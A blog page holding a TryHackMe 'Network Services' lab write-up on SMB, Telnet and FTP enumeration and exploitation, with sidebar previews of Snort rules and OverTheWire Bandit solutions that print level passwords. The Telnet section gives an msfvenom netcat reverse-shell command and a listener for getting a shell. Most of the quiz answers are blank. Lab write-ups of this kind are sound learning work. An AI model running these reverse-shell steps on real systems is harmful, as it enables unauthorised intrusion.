Skip to main content

Network Services

Network Services

https://tryhackme.com/room/networkservices

3. Enumerating SMB

Conduct an nmap scan of your choosing, How many ports are open?

running nmap 10.10.197.190
results in

What ports is SMB running on?


this is the known default values for SMB

Let's get started with Enum4Linux, conduct a full basic enumeration. For starters, what is the workgroup name?

What comes up as the name of the machine?

What operating system version is running?

What share sticks out as something we might want to investigate?






4. Exploiting SMB

What would be the correct syntax to access an SMB share called "secret" as user "suit" on a machine with the IP 10.10.10.2 on the default port?

Does the share allow anonymous access? Y/N?


Great! Have a look around for any interesting documents that could contain valuable information. Who can we assume this profile folder belongs to?

here we cd into the tmp folder so we can pull some files down

What service has been configured to allow him to work from home?


Okay! Now we know this, what directory on the share should we look in?


This directory contains authentication keys that allow a user to authenticate themselves on, and then access, a server. Which of these keys is most useful to us?



Download this file to your local machine, and change the permissions to "600" using "chmod 600 [file]". Now, use the information you have already gathered to work out the username of the account. Then, use the service and key to log-in to the server. What is the smb.txt flag?

there are multiple ways to discover the account username,

5. Understanding Telnet

What is Telnet?

What has slowly replaced Telnet?

How to connect to a Telnet Server with IP 10.10.10.3 on port 23?

The lack of what, means that all Telnet communication is in plaintext?



6. Enumerating Telnet

How many ports are open on the target machine?


What port is this?

This port is unassigned, but still lists the protocol it's using, what protocol is this?




Now re-run the nmap scan, without the -p- tag, how many ports show up as open?

running without -p- or scanning only default nmap range would result in this port not being found.




Based on the title returned to us, what do we think this port could be used for?


Who could it belong to? Gathering possible usernames is an important step in enumeration.



7. Exploiting Telnet

Okay, let's try and connect to this telnet port! If you get stuck, have a look at the syntax for connecting outlined above.

Great! It's an open telnet connection! What welcome message do we receive?

Let's try executing some commands, do we get a return on any input we enter into the telnet session? (Y/N)

Hmm... that's strange. Let's check to see if what we're typing is being executed as a system command.

run: sudo tcpdump ip proto \\icmp -i eth0

This starts a tcpdump listener, specifically listening for ICMP traffic, which pings operate on.


Now, use the command "ping [local THM ip] -c 1" through the telnet session to see if we're able to execute system commands. Do we receive any pings? Note, you need to preface this with .RUN (Y/N)



Great! This means that we are able to execute system commands AND that we are able to reach our local machine. Now let's have some fun!


We're going to generate a reverse shell payload using msfvenom.This will generate and encode a netcat reverse shell for us. Here's our syntax:



"msfvenom -p cmd/unix/reverse_netcat lhost=[local tun0 ip] lport=4444 R"

What word does the generated payload start with?


Perfect. We're nearly there. Now all we need to do is start a netcat listener on our local machine. We do this using:

"nc -lvp [listening port]"


What would the command look like for the listening port we selected in our payload?


Great! Now that's running, we need to copy and paste our msfvenom payload into the telnet session and run it as a command. Hopefully- this will give us a shell on the target machine!


Success! What is the contents of flag.txt?

at this point you can cat the flag.txt and be done with task 7

8. Understanding FTP


What communications model does FTP use?



What's the standard FTP port?




How many modes of FTP connection are there?

9. Enumerating FTP

Run an nmap scan of your choice. How many ports are open on the target machine?


What port is ftp running on?




What variant of FTP is running on it?


Great, now we know what type of FTP server we're dealing with we can check to see if we are able to login anonymously to the FTP server. We can do this using by typing "ftp [IP]" into the console, and entering "anonymous", and no password when prompted.    What is the name of the file in the anonymous FTP directory?




Great! Now we've got details about the FTP server and, crucially, a possible username. Let's see what we can do with that...

10. Exploiting FTP

What is the password for the user "mike"?


Bingo! Now, let's connect to the FTP server as this user using "ftp [IP]" and entering the credentials when prompted


What is ftp.txt?



Writeups should have a link to TryHackMe and not include any passwords/cracked hashes/flags
https://tryhackme.com/room/networkservicesFreorererererere
Labels:

Comments

Post a Comment

Popular posts from this blog

Snort Challenge - The Basics

Rules Ive Used # This file intentionally does not come with signatures.  Put your local # additions here. # alert icmp any any <> any any (msg: "IP ID 35369 Found"; id:35369; sid: 1000001; rev:1) # log tcp any any <> any any (msg: "ALL SYN FLAGS"; flags:S;  sid: 1000001; rev:1;) # log tcp any any <> any any (msg: "ALL SYN FLAGS"; flags:P,A;  sid: 1000001; rev:1;) # log ip any any <> any any (msg: "SAME-IP IN IP"; sameip; sid:1000001; rev:1;)#This was not used in the first snort, they only wanted the next 2 rules, which showed less dups log udp any any <> any any (msg: "SAME-IP IN TCP"; sameip; sid:1000001; rev:1;) log tcp any any <> any any (msg: "SAME-IP IN UDP"; sameip; sid:1000002; rev:1;)  Snort Params: Some Sniffer mode parameters are explained in the table below; Parameter Description -v Verbose. Display the TCP/IP output in the console. -d Display the packet data (payload). -e Display
Post a Comment
Read more

Bandit 20 Over The Wire

Lessons Learned using nc to create a steady connection, also on background and foreground processes Logging in On a kali vm/ linux machine Type: ssh bandit20@bandit.labs.overthewire.org -p 2220 GbKksEFF4yrVs6il55v6gwY5aVje5f0j Completing The Challenge The Goal: There is a setuid binary in the homedirectory that does the following: it makes a connection to localhost on the port you specify as a commandline argument. It then reads a line of text from the connection and compares it to the password in the previous level (bandit20). If the password is correct, it will transmit the password for the next level (bandit21). The Solution: bandit20@bandit:~$ nc -l -p 2000 ^Z [1]+  Stopped                 nc -l -p 2000 bandit20@bandit:~$ ./suconnect 2000 ^Z [2]+  Stopped                 ./suconnect 2000 bandit20@bandit:~$ fg 1 nc -l -p 2000 GbKksEFF4yrVs6il55v6gwY5aVje5f0j ^Z [1]+  Stopped                 nc -l -p 2000 bandit20@bandit:~$ fg 2 ./suconnect 2000 Read: GbKksEFF4yrVs6il55v6gwY5aVje5f0j
Post a Comment
Read more

Bandit 11 Over The Wire

 Lessons Learned using cyberchef for things like rot13 Logging in On a kali vm/ linux machine Type: ssh bandit11@bandit.labs.overthewire.org -p 2220  IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR Completing The Challenge The Goal: The password for the next level is stored in the file data.txt , where all lowercase (a-z) and uppercase (A-Z) letters have been rotated by 13 positions The Solution: bandit11@bandit:~$ cat data.txt Gur cnffjbeq vf 5Gr8L4qetPEsPk8htqjhRK8XSP6x2RHh   The password is 5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu This is known as rot13 and many free websites exist to solve this issue. CyberChef is a very good site/tool for this and can be downloaded
Post a Comment
Read more